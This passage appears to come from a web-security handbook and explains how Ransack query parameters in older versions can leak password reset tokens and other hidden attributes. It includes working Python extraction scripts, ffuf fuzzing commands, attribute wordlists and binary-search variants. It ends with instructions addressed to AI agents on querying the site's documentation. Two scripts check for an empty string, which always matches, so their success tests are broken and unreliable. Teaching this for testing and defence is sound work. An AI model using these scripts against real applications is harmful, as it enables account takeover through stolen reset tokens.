" %}
Article explaining the technique and exploitability
{% endembed %}
The popular [Ransack](https://github.com/activerecord-hackery/ransack) Ruby library allows developers to query a database in the form of **objects**. On version < 4.0.0 (Released: Feb 9, 2023), there is a big risk of **mass assignment** in query parameters that perform these filters. The client often provides a query where they can specify what attributes to filter for with conditions like `cont` (contains) or `start` (starts with). These can be pointed to sensitive data like password reset tokens by an attacker and exfiltrated character-by-character by the named filters.
{% hint style="info" %}
The reason versions after 4.0.0 are often safe, is because an explicit whitelist is required to be filled out per class to select all queryable attributes. Of course, a developer could still include sensitive fields here by mistake, but it is safe by default.
{% endhint %}
Take this vulnerable code example:
# User class with sensitive data, has posts
class User < ActiveRecord::Base
validates :email, :username, presence: true
attr_accessor :password_hash, :reset_password_token
has_many posts
end
# Post class to be queries, belongs to a user
class Post < ActiveRecord::Base
validates :title, :content, presence: true
belongs_to :user
end
# Vulnerable page with user input
def search
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Here the `search` page uses `params[:q]` from the client to query the `Post` class, which is indended to be searched for a `title` or `content`. \
Then, a URL like `/search?q[title_cont]=hacking` will respond with all posts with a **title containing "hacking"**. First is the *path* to the attribute: `title`, and then comes the *Predictate*: [`cont`](https://activerecord-hackery.github.io/ransack/getting-started/using-predicates/#cont), separated by an `_` underscore.
{% embed url="" %}
A **table** of all **predictates** that can be used
{% endembed %}
The **vulnerability** here however, is when we provide a sensitive attribute, which is easy as the path to the attribute can be deeper by separating them by underscores. If we want to find the `reset_password_token` for example, this is inside of the `user`: \
`/search?q=[user_reset_password_token_cont]=hacking`. This query will return something if there is a user with "hacking" in their password reset token, but this can be abused by doing a character-by-character brute-force attack where we provide all possible starting characters and find which give a response back, indicating it was found:
GET /posts?q[user_reset_password_token_start]=0 -> Empty results page
GET /posts?q[user_reset_password_token_start]=1 -> Empty results page
GET /posts?q[user_reset_password_token_start]=2 -> Results in page
Afterward, we know a token starts with `2`, and we can simply try all other characters after it:
GET /posts?q[user_reset_password_token_start]=20 -> Empty results page
GET /posts?q[user_reset_password_token_start]=21 -> Empty results page
...
GET /posts?q[user_reset_password_token_start]=2c -> Empty results page
GET /posts?q[user_reset_password_token_start]=2d -> Results in page
By continually doing this, eventually, we find for example `q[user_reset_password_token]=2dd0571e439813f7` which shows the entire token is correct, and we have leaked it in only a few requests.
Leaking such hexadecimal token can look something like this:
{% code title="ransack\_token\_leak.py" %}
```python
import requests
from tqdm import tqdm # Progress bar
HOST = "http://localhost:4567" # TARGET
ALPHABET = b"0123456789abcdef"
token = b""
for length in tqdm(range(16), desc="Length", leave=False):
for c in tqdm(ALPHABET, desc=f"{length}", leave=False):
prefix = token + bytes([c])
params = { # Check with start (case insensitive)
"q[user_reset_password_token_start]": prefix.decode(),
}
r = requests.get(HOST + "/search", params=params)
if len(r.text) > 5000: # Treshold for results
token += bytes([c])
tqdm.write(repr(token))
break
else: # If nothing new found, we are done
break
token = token.decode()
print("Found case-insensitive:", token)
```
{% endcode %}
In this case, we found the sensitive `user` and `reset_password_token` attributes by reading the code, but in a more black-box scenario where you only notice the pattern of \
`?q[attr_predicate]=` some **guessing** is required. Tools like [`ffuf`](https://github.com/ffuf/ffuf) can fuzz for these attributes by providing the `FUZZ` keyword in the correct part of a URL:
$ ffuf -u 'http://localhost:4567/search?q[OBJ_PROP_eq]=random6bQ1kL' -w objs.txt:OBJ -w props.txt:PROP -fs 7301
...
[Status: 200, Size: 521, Words: 56, Lines: 15, Duration: 3ms]
* OBJ: user
* PROP: reset_password_token
[Status: 200, Size: 521, Words: 56, Lines: 15, Duration: 5ms]
* OBJ: user
* PROP: name
[Status: 200, Size: 521, Words: 56, Lines: 15, Duration: 3ms]
* OBJ: user
* PROP: id
In the example above, we try to find an object and property that when `_eq` is put on it, returns false because it is not found. Then the size is smaller and different from when the attribute is **wrong**, as then it is *ignored* returning **all results** in a static size. \
This behavior depends, as in some cases a **wrong** guess will instead give **no results**, requiring you to change the fuzzing. A strategy for this would be to create a (mostly) always-true query like \
`?q[OBJ_PROP_cont]=_` asking for the property to contain at least one character (`_` = wildcard).
Wordlists (small)
{% code title="objs.txt" %}
```
user
author
creator
writer
by
```
{% endcode %}
{% code title="props.txt" %}
```
id
name
first_name
firstname
first
email
password
token
recoveries
recoveries_key
recoveries_token
recovery
recovery_key
recovery_token
password_recovery
password_recovery_token
reset_password_token
password_reset_token
password_token
reset_token
token_reset_password
token_password_reset
```
{% endcode %}
### Case Insensitive Predicates
An important note, however, is the fact that the [`start`](https://activerecord-hackery.github.io/ransack/getting-started/using-predicates/#start-starts-with) predicate is **case-insensitive**, meaning using just this technique we won't know the casing of a token. For a hexadecimal token, this is no problem, but for a Base64 token, it is important to get this correct.
There is no easy way to make `start` case-sensitive, but there are alternative predicates that are case-sensitive like `eq` (SQL `=`) or `cont` (SQL `LIKE`). Not all databases perform `LIKE` **case-sensitively**, some popular ones that **do** include PostgreSQL and Oracle DB. \
While MySQL/MariaDB, SQLite, or Microsoft SQL **do not**. It is easy to test if this is the case by searching for a string with the wrong casing using the `eq` or `cont` predicates.
Commonly `eq` will work case-insensitively making it possible to guess all different combinations of casing for a token. If you found a token like `a2b`, you can try `a2b`, `A2b`, `a2B`, and `A2B` to find the correct one. Then, use this correct token to reset the password, or whatever else the sensitive data lets you do. Here is an implementation:
```python
# Try change with all cases
def all_casings(input_string):
if not input_string:
yield ""
else:
first = input_string[:1]
if first.lower() == first.upper():
for sub_casing in all_casings(input_string[1:]):
yield first + sub_casing
else:
for sub_casing in all_casings(input_string[1:]):
yield first.lower() + sub_casing
yield first.upper() + sub_casing
for cased_token in tqdm(list(all_casings(token)), desc="Casing", leave=False):
params = { # Check with equals (case sensitive)
"q[user_reset_password_token_eq]": cased_token,
}
r = requests.get(HOST + "/search", params=params)
if '' in r.text: # Treshold for results
break
print("Found case-sensitive: ", cased_token)
```
### Binary Search
If the targetted data is **numeric**, it is possible to use the `lt` (less than) or `lteq` (less than or equal) predicates to compare a range of values all at once. This algorithm is called [Binary Search](https://en.wikipedia.org/wiki/Binary_search_algorithm) and can drastically speed up your attack. Here is a simple implementation that leaks the `number` attribute from `user`:
{% code title="Numeric Binary Search" %}
```python
def test(guess):
"""if target is lower than guess (not equal)"""
params = {
"q[user_number_lt]": guess,
}
r = requests.get(HOST + "/search", params=params)
return len(r.text) > 5000
def binary_search(lo=0, hi=10000):
while lo < hi:
mid = (lo + hi + 1) // 2
if test(mid):
hi = mid - 1
else:
lo = mid
return lo
```
{% endcode %}
A more advanced example is achieving **Binary Search for string attributes**. We require a way to test multiple values at once, to test a range (half of the possible values) at once. It turns out, the `start_any` predicate (similar to [`cont_any`](https://activerecord-hackery.github.io/ransack/getting-started/using-predicates/#cont_any-contains-any)) can do this for us! It requires an array and performs the regular `start` predicate with all the strings in that array, and if one is found, it is successful.
We can make use of this by specifying half of the possible continuations as an array in the query parameters, which will return results if the next character is in *any of them*, achieving Binary Search once again.
Some important things to note are firstly the fact that Ruby (and many other frameworks) accept arrays as query parameters by duplicating the names and appending `[]` like \
`?array[]=1&array[]=2` to create `array=["1","2"]`. We use this to generate the required strings. These strings need to be the known *prefix* so far, and half of the possible characters. If we know `prefix="se"` the guesses will be `["sea", "seb", "sec", ...]`.
Here is an example implementation:
{% code title="String Binary Search" %}
```python
import requests
HOST = "http://localhost:4567"
ALPHABET = list("0123456789abcdefghijklmnopqrstuvwxyz")
def test(prefix, guess):
# Create array of possible continuations
l = [prefix + c for c in ALPHABET[:guess]]
# Pass array as query parameters
params = [("q[user_reset_password_token_start_any][]", s) for s in l]
r = requests.get(HOST + "/search", params=params)
return '' in r.text
def binary_search(prefix, lo=0, hi=len(ALPHABET)):
while lo < hi:
mid = (lo + hi + 1) // 2
if test(prefix, mid):
hi = mid - 1
else:
lo = mid
return ALPHABET[lo] if lo < len(ALPHABET) else None
if __name__ == "__main__":
prefix = ""
while result := binary_search(prefix):
prefix += result
print(prefix)
```
{% endcode %}
{% hint style="success" %}
In **every situation,** binary search will be **faster** than linear search, but the difference is largest when `ALPHABET` is largest. If this is `N`, the average time for both will be:
* Linear Search: `N/2` (N=50 -> 25 attempts)
* Binary Search: `log2(N)` (N=50 -> 6 attempts)
{% endhint %}
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://book.jorianwoltjer.com/web/frameworks/ruby-on-rails.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.